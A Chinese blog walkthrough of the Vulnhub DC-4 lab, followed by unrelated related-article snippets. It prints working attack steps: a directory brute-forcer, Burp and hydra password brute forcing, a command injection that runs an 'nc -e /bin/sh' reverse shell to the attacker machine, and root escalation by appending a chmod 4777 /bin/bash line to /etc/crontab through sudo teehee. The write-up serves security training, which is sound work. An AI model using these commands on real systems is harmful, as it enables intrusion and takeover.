当前位置: 首页 > news >正文

Vulnhub靶场案例渗透[5]- DC4

文章目录

  • 1. 靶场搭建
  • 2. 信息收集
    • 2.1 确定靶机ip
    • 2.2 主机信息收集
    • 2.3 主机目录探测
  • 3. 渗透过程
    • 3.1 sql注入检测
    • 3.2 burp爆破
    • 3.3 反弹shell
    • 3.4 提权
  • 4. 总结

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

根据虚拟机网络适配器模式,确定靶机所在网段。使用nmap进行网段存活主机,排除法确定靶机ip.

nmap -sn 192.168.6.100/24

1728460476155.png
通过排除法确定靶机ip为192.168.6.100

2.2 主机信息收集

通过nmap探测靶机开放端口和端口对应服务

nmap -Ap 1-65535  192.168.6.100

1728460685482.png

确定开放端口:

  • 22:ssh服务
  • 80: http服务

2.3 主机目录探测

import queue  
import requests  
import threading  
import urllib3  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"  
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']  
TARGET = "http://192.168.6.100"  
THREADS = 8  
WORDLIST = "./all.txt"  words = queue.Queue  """  
读取字典文件,生成扫描内容  
"""  
def get_words(resume=None):  words = queue.Queue()  def extend_words(word):  if "." in word:  words.put(f"/{word}")  else:  words.put(f"/{word}/")  # for extension in EXTENSIONS:  #     words.put(f"/{word}{extension}")  with open(WORDLIST) as f:  raw_words = f.read()  found_resume = False  for word in raw_words.split():  if resume is not None:  if found_resume:  extend_words(word)  elif word == resume:  found_resume = True  else:  extend_words(word)  return words  """  
暴力扫描  
"""  
def dir_bruter(words):  headers = {"User-Agent":AGENT}  session = requests.Session()  session.verify = False  session.get(TARGET, headers = headers)  while not words.empty():  url = f"{TARGET}{words.get()}"  try:  r = session.get(url)  except requests.exceptions.ConnectionError as e:  # print(e)  continue  if r.status_code != 404:  print(url)  if __name__ == "__main__":  words = get_words()  for _ in range(THREADS):  t = threading.Thread(target=dir_bruter, args=(words,))  t.start()

1728463473503.png

3. 渗透过程

3.1 sql注入检测

访问web页面,发现只有一个登录界面.

1728463525123.png

尝试使用sqlmap进行sql注入点检测,发现不存在注入点。

sqlmap -u "http://192.168.6.100/login.php?username=admin&password=admin"

3.2 burp爆破

尝试使用burp进行弱密码爆破,由于账号和密码都不知道使用cluster boomb模式,选择爆破字典。

各种攻击模式的区别:

  • 【sinper】:对单一参数进行密码爆破
  • 【battering ram】:对所有参数进行同一个变量爆破(如用户名和密码一样)
  • 【pitchfork】:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。
  • 【cluster bomb】:对参数进行交叉爆破,常用用于不知道账号密码的情况

image.png

cc05bb54-2410-4ba7-b3f3-1047dac1e697.jpeg

爆破成功,账号为admin,密码为happy,成功登录

fde44fda-6b9a-4f98-adb4-c911fd1beb6e.jpeg

3.3 反弹shell

发现网站存在功能可以直接让服务器直接前端请求执行的命令。修改请求包命令,进行反弹shell。
image.png

使用burp将请求拦截将参数radio改为nc -e /bin/sh 192.168.6.101 8888,kali使用nc进行监听

# 开启监听
nc -lvp 8888

image.png
1db55b3a-776b-46fe-8642-5f7d62ec7ad1.jpeg

反弹shell成功

# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

3.4 提权

使用SUID进行提权

# 获取设置suid的文件 
find / -type f -perm -4000 2>/dev/null

image.png

发现/home/jim/test.sh文件,使用ls查看文件权限设置。查看文件内容之后,发现无法利用这个文件切换到jim用户.设置suid的文件在发生变更时,suid标志会被撤销,无果。

ls -l /home/jim/test.sh

d4450837-999a-4119-9d89-6a32c67b19d5.jpeg

尝试过sudo提权、搜索内核版本漏洞、crontab定时任务、/etc/passwd也没有发现利用的点。转变思路,在系统中查看是否有可利用的文件。

b83e8cbe-cdcd-4358-b246-4ac2d63278ea.jpeg

在jim目录下找到jim的旧密码记录文件,尝试进行ssh爆破。成功获取到密码jibril04.使用ssh成功登录。

# 使用hydra进行爆破
hydra -l jim -P dc4.txt ssh://192.168.6.100:22

41affc4f-0441-4231-854b-6bbb3d874615.jpeg

8949b23c-3776-495a-bdd3-8f5fb133a01d.jpeg

发现有一个邮件,查看cat /var/mail/jim获取邮件,获取到charles的密码,切换用户
82fd45d8-8619-45cf-8000-ebe2e37e250a.jpeg

切换用户之后继续尝试sudo提权,发现存在/usr/bin/teehee被设置为无密码使用。

# 获取teehee的帮助信息,了解这个命令
teehee --help

teehee是将标准输入写入到某个文件中的一个命令。

我们可以利用这个命令去写入一个定时任务,将/bin/bash权限设置为4777。

echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab

接下来执行/bin/bash,发现并没有提权,猜测受到环境变量或者配置文件的限制。采用/bin/bash -p进行尝试,-p参数使用保护模式启动,保护模式下会忽略一些环境变量和配置文件,成功提权。

7c063646-5726-4138-bd94-f2390ddd9fb9.jpeg

成功获取flag
d019b8a4-b9a1-4210-a031-af1e23543387.jpeg

4. 总结

本次靶场利用到的技能:

  • namp进行信息收集
  • burp suite利用字典进行账号密码爆破,篡改发送包参数。
  • hydra进行ssh字典密码爆破
  • sudo配合定时任务提权。

相关文章:

Vulnhub靶场案例渗透[5]- DC4

文章目录 1. 靶场搭建2. 信息收集2.1 确定靶机ip2.2 主机信息收集2.3 主机目录探测 3. 渗透过程3.1 sql注入检测3.2 burp爆破3.3 反弹shell3.4 提权 4. 总结 1. 靶场搭建 靶场源地址 检验下载文件的检验码&#xff0c;对比没问题使用vmware打开 # windwos 命令 Get-FileHash …...

http协议概述与状态码

目录 1.HTTP概述 1.1请求报文起始行与开头 ​1.2响应报文起始行 ​ 1.3响应报文开头 ​ 2.http状态协议码 1.HTTP概述 默认端口 80 HTTP超文本传输与协议: 数据请求和响应 传输:将网站的数据传递给用户 超文本:图片 视频等 请求request:打开网站 访问网站 响应r…...

Golang 进阶5—— 反射

Golang 进阶5—— 反射 注意&#xff0c;该文档只适合有编程基础的同学&#xff0c;这里的go教程只给出有区别的知识点 反射&#xff1a; 反射可以在运行时动态获取变量的各种信息&#xff0c; 比如变量的类型、 类别等信息。如果是结构体变量&#xff0c;还可以获取结构体本…...

react 封装防抖

封装防抖 import React, { useRef, useEffect, useCallback } from react;function useDebounce(fn, delay) {const delayRef useRef(delay);const fnRef useRef(fn);// 更新ref值useEffect(() > {delayRef.current delay;}, [delay]);useEffect(() > {fnRef.current…...

Java项目-----图形验证码登陆实现

原理: 验证码在前端显示,但是是在后端生成, 将生成的验证码存入redis,待登录时,前端提交验证码,与后端生成的验证码比较. 详细解释: 图形验证码的原理(如下图代码).前端发起获取验证码的请求后, 1 后端接收请求,生成一个键key(随机的键) 然后生成一个验证码作为map的valu…...

【网络代理模块】反向代理(上)

1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求&#xff0c;然后将请求转发给内部网络上的服务器&#xff0c;将从服务器上得到的结果返回给客户端&#xff0c;此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说&#xff0c;反向代理就相当…...

2-112基于matlab的协同干扰功率分配模型

基于matlab的协同干扰功率分配模型&#xff0c;带操作界面的功率分配GUI&#xff0c;可以实现对已有功率的分配优化&#xff0c;可以手动输入参数值。4个干扰山区分二批总干扰功率&#xff0c;每个扇区包括威胁总系数、综合压制概率、目标函数增量等。程序已调通&#xff0c;可…...

数据结构之——二叉树

一、二叉树的基本概念 二叉树是数据结构中的重要概念&#xff0c;每个节点最多有两个子树&#xff0c;分别为左子树和右子树。这种结构具有明确的层次性和特定的性质。 二叉树有五种基本形态&#xff1a; 空二叉树&#xff1a;没有任何节点。只有一个根结点的二叉树&#xff…...

多层感知机(MLP)实现考勤预测二分类任务(sklearn)

1、基础应用&#xff1a; https://blog.csdn.net/qq_36158230/article/details/118670801 多层感知机(MLP)实现考勤预测二分类任务(sklearn) 2、分类器参数&#xff1a;https://scikit-learn.org/dev/modules/generated/sklearn.neural_network.MLPClassifier.html 3、损失函数…...

文件与目录的基本操作

前提&#xff1a;使用su root 切换到权限最大的root用户 1.显示当前工作目录的绝对路径&#xff08;pwd&#xff09; 用途&#xff1a;用于显示当前工作目录的绝对路径的命令。无论用户在文件系统的哪个位置&#xff0c;pwd 命令都能提供当前所在位置的完整路径信息。 用法&a…...

Python入门笔记(三)

文章目录 第八章 字典dict8.1 创建字典&#xff1a;{}、dict()、字典生成式、zip()8.2 获取键对应的值&#xff1a;get()8.3 in&#xff0c; not in判断键是否在字典中8.4 增加键值对&#xff1a;fromkeys()、setdefault()、update()8.5 删除键值对&#xff1a;del语句、clear(…...

PostgreSQL 任意命令执行漏洞(CVE-2019-9193)

记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。 使用靶机复现攻击过程。 过程 在信息收集过程中&#xff0c;获取到在公网服务器上开启了5432端口&#xff0c;尝试进行暴破&#xff0c;获取到数据库名为默认postgres&#xff0c;密码为1 随后连接进PostgreSql …...

使用tgz包下载安装clickhouse低版本

1.下载安装包 官方下载地址&#xff1a;https://packages.clickhouse.com/tgz/stable 阿里云下载地址&#xff1a;clickhouse-tgz-stable安装包下载_开源镜像站-阿里云 共需要下载四个文件 clickhouse-common-static-20.3.10.75.tgz clickhouse-common-static-dbg-20.3.10.7…...

外包功能测试干了6个月,技术退步太明显了。。。。。

先说一下自己的情况&#xff0c;本科生&#xff0c;23年通过校招进入武汉某软件公司&#xff0c;干了差不多6个月的功能测试&#xff0c;今年中秋&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我就在一个外包企业干了6个月的功…...

动态规划和贪心算法

目录 动态规划和贪心算法 动态规划 贪心算法 两者之间的区别 动态规划和贪心算法 是两种经典的算法设计策略,它们各自具有独特的特点和适用场景。 动态规划 动态规划是一种将复杂问题分解为更简单子问题的求解方法。它特别适用于那些具有重叠子问题和最优子结构特性的问…...

python爬虫--tx动漫完整信息抓取

python爬虫--tx动漫完整信息抓取 一、采集主页信息二、采集详情页信息三、完整代码一、采集主页信息 先看一下采集到的信息,结果保存为csv文件: 打开开发者工具,找到数据接口。 使用xpath提取详情页url。 二、采集详情页信息 如上图所示,使用xpath提取详情页的标题、作…...

《使用Java做爬虫和使用python做爬虫哪个好》

使用Java做爬虫和使用python做爬虫哪个好 Java 和 Python 都是非常出色的编程语言&#xff0c;在爬虫领域各有其优势&#xff0c;具体使用哪种语言更好取决于多种因素&#xff1a; 一、开发效率 1. Python Python 以其简洁、易读的语法而闻名。在爬虫开发中&#xff0c;有许…...

如果我想开发一个APP,需要准备哪些材料呢

开发一个APP需要准备的材料相对复杂&#xff0c;涵盖了公司资质、技术资源、支付接口以及第三方服务等多个方面。以下是一份详细的材料清单&#xff1a; 一、公司资质证明 营业执照&#xff1a;需要提供公司的营业执照副本&#xff0c;用于申请企业支付、域名备案、APP上架及…...

告别论文初稿焦虑!ChatGPT让你轻松完成写作!

AIPaperGPT&#xff0c;论文写作神器~ https://www.aipapergpt.com/ 在面对繁琐的论文写作时&#xff0c;很多人都会遇到无从下手的困惑&#xff0c;尤其是论文初稿阶段&#xff0c;往往需要大量的时间来组织思路和编写内容。然而&#xff0c;随着AI技术的发展&#xff0c;像…...

mongodb 数据迁移,亲测成功!

mysql进行数据迁移&#xff0c;最简单的不过是导出sql&#xff0c;然后在运行sql&#xff0c;数据也自然迁移过去了。 可是mongodb里&#xff0c;我们存储的是文件&#xff0c;是怎么做到的呢&#xff0c;当我在翻阅网上博客的时候&#xff0c;并没有发现有这方面的顾虑。 当…...

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

Unity3D中Gfx.WaitForPresent优化方案

前言 在Unity中&#xff0c;Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染&#xff08;即CPU被阻塞&#xff09;&#xff0c;这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案&#xff1a; 对惹&#xff0c;这里有一个游戏开发交流小组&…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

【磁盘】每天掌握一个Linux命令 - iostat

目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat&#xff08;I/O Statistics&#xff09;是Linux系统下用于监视系统输入输出设备和CPU使…...

Netty从入门到进阶(二)

二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架&#xff0c;用于…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

怎么让Comfyui导出的图像不包含工作流信息,

为了数据安全&#xff0c;让Comfyui导出的图像不包含工作流信息&#xff0c;导出的图像就不会拖到comfyui中加载出来工作流。 ComfyUI的目录下node.py 直接移除 pnginfo&#xff08;推荐&#xff09;​​ 在 save_images 方法中&#xff0c;​​删除或注释掉所有与 metadata …...

【Linux系统】Linux环境变量:系统配置的隐形指挥官

。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量&#xff1a;setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...